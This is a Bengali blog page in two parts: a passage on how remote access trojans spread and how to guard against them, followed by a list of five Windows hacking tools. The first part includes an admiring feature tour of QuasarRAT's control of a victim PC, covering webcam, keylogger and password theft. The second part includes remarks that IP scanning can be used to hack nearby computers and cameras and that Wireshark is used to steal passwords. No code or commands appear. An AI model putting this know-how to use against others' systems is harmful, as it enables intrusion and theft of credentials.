আসলে স্পামার এমন ভাবে আপনার সাথে চালাকি  করে আপনার কম্পিউটারে র‍্যাট ঢুকিয়ে দিবে আপনি বুঝতেও পারবেন না। তবে বেশির ভাগ ক্ষেত্রেই তারা ইমেইল স্পুফিং বা স্প্যাম মেইল করে ভিকটিমের পিসিতে এটা ঢুকিয়ে দেয়। এছাড়াও অনেক সফটওয়্যারের মাঝে র‍্যাট প্রোগ্রাম ঢুকিয়ে দিয়ে র‍্যাট দ্বারা ভিকটিমের পিসিকে আক্রান্ত করা হয়ে  থাকে। এছাড়াও বিভিন্ন পিডিএফ বা ছবির মাঝেও এই র‍্যাট প্রোগ্রাম ঢুকিয়ে দেয়া হয়। তবে সব থেকে বেশি র‍্যাট প্রোগ্রাম ছড়ানো হয় ইমেইল স্পুফিং এর মাধ্যমে।

কিভাবে র‍্যাট থেকে সুরক্ষিত থাকবেন

যখনই সকল বিষয় গুলো বোঝা হয়ে  যায় তখনই সামনে আসে এর থেকে কিভাবে বাঁঁচা যেতে পারে। হ্যাঁঁ প্রতি বারের মত এবারো আলোচনা আপনি কিভাবে এর থেকে মুক্ত থাকবেন। আসল কথা হচ্ছে র‍্যাট থেকে বাঁচার উপায় খুব কম আমাদের হাতে। যদি না আমরা সচেতন হতে পারি আমরা র‍্যাট থেকে রক্ষা পাবো না। কেননা এখানে যতটা না প্রোগ্রামিং থাকে তার থেকে বেশি থাকে সোশ্যাল ইঞ্জিনিয়ারিং। হ্যাকার বা স্পামার আপনাকে ভুল বুঝিয়ে কোন কিছু ডাউনলোড করে দিবে, তাই নিজেকে সব সময় সচেতন থাকতে হবে। তাহলে আসুন দেখে নেই কিভাবে আপনি র‍্যাট থেকে রক্ষা পাবেন।

  • সন্দেহজনক কোন ইমেইল ওপেন করবেন না, কেননা স্প্যাম ইমেইলের মাধ্যমেই সব থেকে বেশি র‍্যাট ছড়ানো হয়ে থাকে।
  • নিজের এন্ট্রি ভাইরাস সবসময় আপডেট রাখুন, কেননা এট্রি ভাইরাস ছাড়া র‍্যাট ডিটেক্ট করা অনেক কঠিন একটা কাজ।
  • অফিশিয়াল সাইট ছাড়া ও নির্ভর যোগ্য সাইট ছাড়া অন্য কোথাও থেকে ডাউনলোড করবেন না।
  • নির্দষ্ট সময় পর পর নিজের পিসিকে স্ক্যান করুন।
  • আপডেট র‍্যাট গুলো অনেক সময় আপনার এন্ট্রি ভাইরাস ধরতে পারে না, তাই টাস্ক ম্যানেজার থেকে দেখে নিবেন আপনার পিসিতে আসলে কি কি চলছে।যদি কোন কিছু ভুল মনে হয় সাথে সাথে কিল করে দিন।
  • ডাউনলোড করা ফাইল কে স্ক্যান করে নিবেন যদি আপনার মনের মাঝে কোন ধরনের সন্দেহ থেকে থাকে।

মোটা-মুটি ভাবে বলা যায় আপনি এই বিষয়গুলো লক্ষ রেখে যদি পিসি ব্যবহার করেন তাহলে বলা যেতে পারে আপনি অনেক খানি সুরক্ষিত থাকবেন।

নতুন ভয়ের নাম ক্লিপার ম্যালওয়্যার, আপনার এন্ড্রোয়েড ফোনটি কি সুরক্ষিত?

র‍্যাট টুল দিয়ে কি কি করা যেতে পারে

আগেই বলেছি র‍্যাট টুল দিয়ে সম্পূর্ন কম্পিউটার টাকেই চালানো যেতে পারে নিজের মত করে। আপনাদের সুবিধার জন্য আমি এখন একটা QuasarRAT নামে একটা র‍্যাট টুল কে দেখাবো। পরের কোন এক আর্টিকেলে কিছু র‍্যাট টুল কিভাবে ইন্সটল দিবেন, ব্যবহার করেন সেই নিয়ে আলোচনা করবো আমরা।

র‍্যাটওয়্যার বা র‍্যাট কি

QuasarRAT এই টুল টা উইন্ডোজ কম্পিউটারে ব্যবহার করা যায় ও আমার কাছে এই টুল টা খুব ভাল লেগেছে। বিশেষ করে এর ইন্টারফেস টা খুব সুন্দর ও কোন ঝামেলা নেই এটার মাঝে। ফাইল ম্যানেজার, স্টার্টআপ মেনু, রিমোট শেল , টিসিপি কানেকশন সকল কিছু খুব সহজেই ব্যবহার করা যায়।

এছাড়াও এটাতে খুব সহজে ভিকটিম পিসি অফ করে দেয়া যায়, রিস্টার্ট করে দেয়া যায়। এর জন্য আলাদা করে কোন কমান্ড বা কোড টাইপ করা লাগে না।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

এছাড়াও ১ ক্লিকে রিমোট ওয়েব ক্যামেরা, রিমোট ডেস্কটপ ভিউ, কি-লগার সেন্ড, পাসওয়ার্ড চুরি করে নেয়া যায়।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

এই র‍্যাট টুল টা দিয়ে বিভিন্ন ডাইরেক্টোরিতে খুব সহজে ঘুরে বেড়ানো যায়। যেকোন ফোল্ডারের ফাইল গুলো দেখা যায় ও ডাউনলোড করা যায়।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

আশা করি আপনার মাঝে র‍্যাট টুল নিয়ে মোটা-মুটি ধারণা চলে এসেছে। এটার কাজ নিয়ে ধারণা চলে এসেছে। এটা শুধু একটা ওভারভিউ ছিল মাত্র।

আশা করি আপনার কাছে ভাল লেগেছে। আমাদের কাজ সহজ ও সুন্দর ভাবে আমাদের নিজেদের জ্ঞান আপনাদের সাথে শেয়ার করা। সাথে বাংলা ভাষাকে আরো শক্তিশালী করে গড়ে তোলা।

 

ইথ্যিক্যাল হ্যাকিং

ইথ্যিক্যাল হ্যাকিংঃ উইন্ডোজের ৫ টি সেরা হ্যাকিং টুল

আপনি কি কোন সময় লক্ষ করে দেখেছেন কোন একটা হ্যাকিং সিনেমাতে কম্পিউটার স্কিনের ওপর হুট হাট করে কি সব চলে আসছে। হ্যাকার তার কি বোর্ডে কি সব চাপ দিচ্ছে আর সব কিছু হ্যাক হয়ে যাচ্ছে। হ্যাক করা কত সহজ তাই না? আসলেই সত্য হ্যাক করা সহজ কিন্তু সেটা সময় ও পরিবেশ ভেদে। সিনেমাতে যেমন ভাবে দেখায় আসলেই কিন্তু এটা কিন্তু এতটা সহজ না। কিন্তু যায় হোক এই সব বাদ দিয়ে চলে আসি আমরা আসল কথায়। অনেকের মনেই ধারণা আছে হ্যাকিং শুধু কি লিনাক্সেই করা সম্ভব? আসলে এমন কোন কথা নাই, আপনি যদি নিজের বুদ্ধি ঠিক ভাবে প্রয়োগ করতে পারেন তাহলে সামান্য মোবাইল দিয়েও করা সম্ভব। তাই আপনি যদি অবস্থা বুঝে ব্যবস্থা নিতে পারেন তাহলে উইন্ডোজ কম্পিউটার দিয়েও করতে পারবেন। আজকের এই আর্টিকেলে আমরা আলোচনা করবো উইন্ডোজের জন্য ৫ টি সেরা হ্যাকিং টুল নিয়ে।

উইন্ডোজের ৫ টি সেরা হ্যাকিং টুল

৫ টি সেরা হ্যাকিং টুল
৫ টি সেরা হ্যাকিং টুল

Angry Ip Scanner

Angry Ip Scanner হচ্ছে যেকোন আইপি রেঞ্জ কে স্ক্যান করার টুল। এটা আমার অনেক পছন্দের, কেননা এটাতে সুন্দর ইন্টারফেস ও ইউজার ফ্রেন্ডলি কিছু অপশন আছে। আপনি আপনার লোকাল হোস্টের আইপি গুলোকে স্ক্যান করার জন্য এই টুলটি ব্যবহার করতে পারেন। এটার বিশেষ্যত্ব হচ্ছে এটাকে চালানোর জন্য আপনাকে আলাদা ভাবে কোন কমান্ড দেওয়া লাগে না। আপনি আইপি রেঞ্জ সিলেক্ট করে দিলেই এটা আপনার টার্গেটেড আইপি গুলোকে স্ক্যান করে দিয়ে দিবেন। এটার আরো একটা মজার ব্যাপার হচ্ছে আপনি একই সাথে বুঝতে পারবেন এই আইপি তে কোন কম্পিউটার চলছে কিনা, আইপির পিং কত?,  কোন পোর্ট ওপেন আছে, কোন সার্ভার এই আইপির কম্পিউটারে ইন্সটল দেয়া আছে। এক কথায় ইনফোরমেশন নেয়ার জন্য হলেও এটা খুব সুন্দর একটা টুল। এছাড়া আপনি যদি ব্রডব্যান্ড কানেকশন ব্যবহার করে  থাকেন। আপনার এরিয়ার মাঝে যত আইপি আছে সেই গুলো সিলেক্ট করে স্ক্যান করলে অনেক কম্পিউটার বা সিসি টিভি ক্যামেরাও হ্যাক করতে পারবেন। কিন্তু আমি পার্সোনালি এটা কাওকে করতে বলবো না, এটা পুরো বে-আইনি সাথে ধরা পরার ঝুকি খুব বেশি।

Source: angryip.org

এটা আপনি উইন্ডোজ, লিনাক্স, ম্যাক সকল অপারেটিং সিস্টেমের জন্যই পাবেন। এদের অফিশিয়াল ওয়েব সাইট  angryip.org  টুল টি সম্পূর্ণ ফ্রী।

Metasploit

Metasploit হচ্ছে একটা ফ্রেমওয়ার্ক। এটা বানিয়েছে Rappid7 নামে একটা প্রতিষ্ঠান।  যেটাকে শুধু মাত্র পেনাট্রেশান টেস্টং এর জন্যই বানানো হয়েছে। এটাকে আপনি লিনাক্স, উইন্ডোজ, ম্যাক ৩ টা প্রধান অপারেটিং সিস্টেমের জন্যই পাবেন। কিন্তু এটা লিনাক্সে খুবই জনপ্রিয়, কালি লিনাক্সে এটাকে ডিফল্ট টুল হিসাবেই দিয়ে থাকে। এটা দিয়ে পেলোড থেকে এক্সপ্লোয়েট সব কিছুই বানানো সম্ভব। আপনি যদি একজন ইথ্যিক্যাল হ্যকার হতে চাই তাহলে এটা ব্যবহার করা অনেক টা বাধ্যতা মূলক। কেননা বেসিক শেখার জন্য এটার থেকে ভাল টুল আমি তেমন একটা দেখি নি। আপনি এটার ফ্রি এবং প্রো ২ টা ভার্সন পাবেন। কিন্তু শেখার জন্য আপনি ফ্রি ভার্সন টাই ব্যবহার করতে পারেন। পরর্বতীতে আপনি এটার প্রো ভার্সন টা ব্যবহার করতে পারেন।

৫ টি সেরা হ্যাকিং টুল
৫ টি সেরা হ্যাকিং টুল

এদের অফিশিয়াল সাইট থেকে আপনি এটা  ডাউনলোড করতে পারেন।

Nmap

Nmap হচ্ছে নেটওয়ার্ক স্ক্যান করার জন্য খুব জনপ্রিয় একটা টুল। এটা দিয়ে আপনি আপনার নেটওয়ার্ক স্ক্যান করতে পারবেন। এটা খুবই জন্যপ্রিয় কেননা এটা দিয়ে হোস্ট ও পোর্ট সহজেই পাওয়া যায়। TCP/UDP পোর্ট ডিটেক্ট, ওএস ডিটেক্ট, আইপি ফিল্টারিং, পিং সুইপ ইত্যাদি করা সম্ভব। এটা অনেকটা angry ip scanner এর মত। কিন্তু এটা অনেক বেশি শক্তিশালি। এটা লিনাক্স , উইন্ডোজ ও ম্যাক ৩ টা ওএস এর জন্যই পাবেন। সবথেকে বড় কথা এটা পুরো ওপেন সোর্স। কিন্তু এটা একেবারে নতুন ইউজারদের ব্যবহার করা  অনেক কঠিন হয়ে দ্বাড়াবে। এতে কমান্ড দিয়ে কাজ করাতে কিন্তু তারপরেও কিছু দিন ব্যবহার করলে এটা আর তেমন কোন সম্যসা হয়ে দ্বাড়ায় না।

source: nmap.org

আপনি এটা তাদের অফিশিয়াল ওয়েবসাইট থেকেই ডাউনলোড করতে পারবেন। ডাউনলোড লিংক

Burp Suite

আপনি যদি হ্যাকিং নিয়ে একটু পড়াশুনো করে থাকেন তাহলে Burp Suite এর নামটি শুনেই থাকবেন। এটা  ওয়েব এপ্লিকেশন ভার্নাবিলিটি চেক করার জন্য একটা টুল। এটাকে টুল বললে অনেক কম হয়ে যাবে। বলতে পারেন এটা নিজেই একটা  মেশিন। এটা ব্যবহার করতে হলে আপনাকে অনেক অভিজ্ঞ হতে হবে। হয়তো আপনি এটার বেসিক জানতে পারবেন কিন্তু এটার পুরো ফিচার গুলো দেখলে চোখ কপালে উঠে যাবে। পৃথিবীর প্রায় সকল হ্যাকার এটা ব্যবহার করে থাকে। যদিও আমি চেষ্টা করবো Burp Suite নিয়ে  একটা সিরিজ চালু করার। এটা আপনি ফ্রি এডিশন পাবেন ও প্রোফেশনাল এডিশন পাবেন। কিন্তু আপনি ফ্রি এডিশনে এটার তেমন কোন ফিচার পাবেন না। সম্পূর্ন ফিচার পাবার জন্য আপনাকে প্রোফেশনাল এডিশন কিনতে হবে। এটা আপনি লিনাক্স, ম্যাক ও উইন্ডোজ ৩ টা ওএস এর জন্যই পাবেন। কালি লিনাক্সে এর ফ্রি এডিশন  টা ডিফল্ট ভাবেই দেয়া থাকে।

এথ্যিক্যাল হ্যাকিংঃ পর্ব ৩; Information Gathering কি ও footprinting নিয়ে বিস্তারিত
এথিক্যাল হ্যাকিংঃ র‍্যাটওয়্যার বা র‍্যাট কি : কিভাবে আক্রান্ত্র করানো হয়? – [বেসিক]

৫ টি সেরা হ্যাকিং টুল
৫ টি সেরা হ্যাকিং টুল

Wireshark

wireshark হচ্ছে নেটওয়ার্ক ডাটা ক্যাপচা করার একটা টুল। এটা দিয়ে আপনার নেটওয়ার্কের  আন্ডারে যে সকল ব্যবহার কারি রয়েছে তাদের ডাটা গুলো সংগ্রহ করতে পারবেন। এটা মূলত ব্যবহার করা হয় ম্যান-ইন-দ্যা-মিডিল এট্যাকের জন্য। ম্যান ইন দ্যা মিডিল এট্যাক হয়তো অনেকের কাছেই অজানা থাকতে পারে।। ম্যান ইন দ্যা মিডিল এট্যাক হচ্ছে আপনি অন্য কোন নেটওয়ার্কের ভেতরে  ঢুকে তাদের কে আপনার দেয়া ফেক চ্যানেল দিয়ে ইন্টারনেটের ভেতর প্রবেশ করানো। যদিও আমি ম্যান ইন দ্যা মিডিল এট্যাক নিয়ে পরর্বতিতে আলোচনা করবো। wireshark দিয়ে  নেটওয়ার্কের ভেতরে কে কোন ওয়েব সাইট ব্রাউজ করছে। সেই ওয়েব সাইটে কি রিকুয়েস্ট পাঠাচ্ছে,  ওয়েব সাইট তাদের কে কি ডাটা দিচ্ছে সকল ধরনের ডাটা সংগ্রহ করা সম্ভব। বিশেষ করে  ইউজারের পাসওয়ার্ড চুরি করার জন্য এটা খুব বেশি ব্যবহার করা  হয়ে থাকে। এটা আপনি সম্পুর্ন পাবেন এটার জন্য আপনাকে আলাদা করে অর্থ খরচ করা লাগবে না।

৫ টি সেরা হ্যাকিং টুল
৫ টি সেরা হ্যাকিং টুল

এটা আপনি তাদের অফিশিয়াল ওয়েব সাইট থেকেই ডাউনলোড করতে  পারবেন। http://www.wireshark.org/

আশা করি এই আর্টিকেলটি আপনার ভাল লেগেছে।  যদি কোন প্রশ্ন থেকে থাকে আপনার মনে তাহলে আমাদের কমেন্ট বক্সে কমেন্ট করে জানাবেন। পরের আর্টিকেলে নতুন কোন বিষয় নিয়ে আলোচনা করবো।

Add your widget here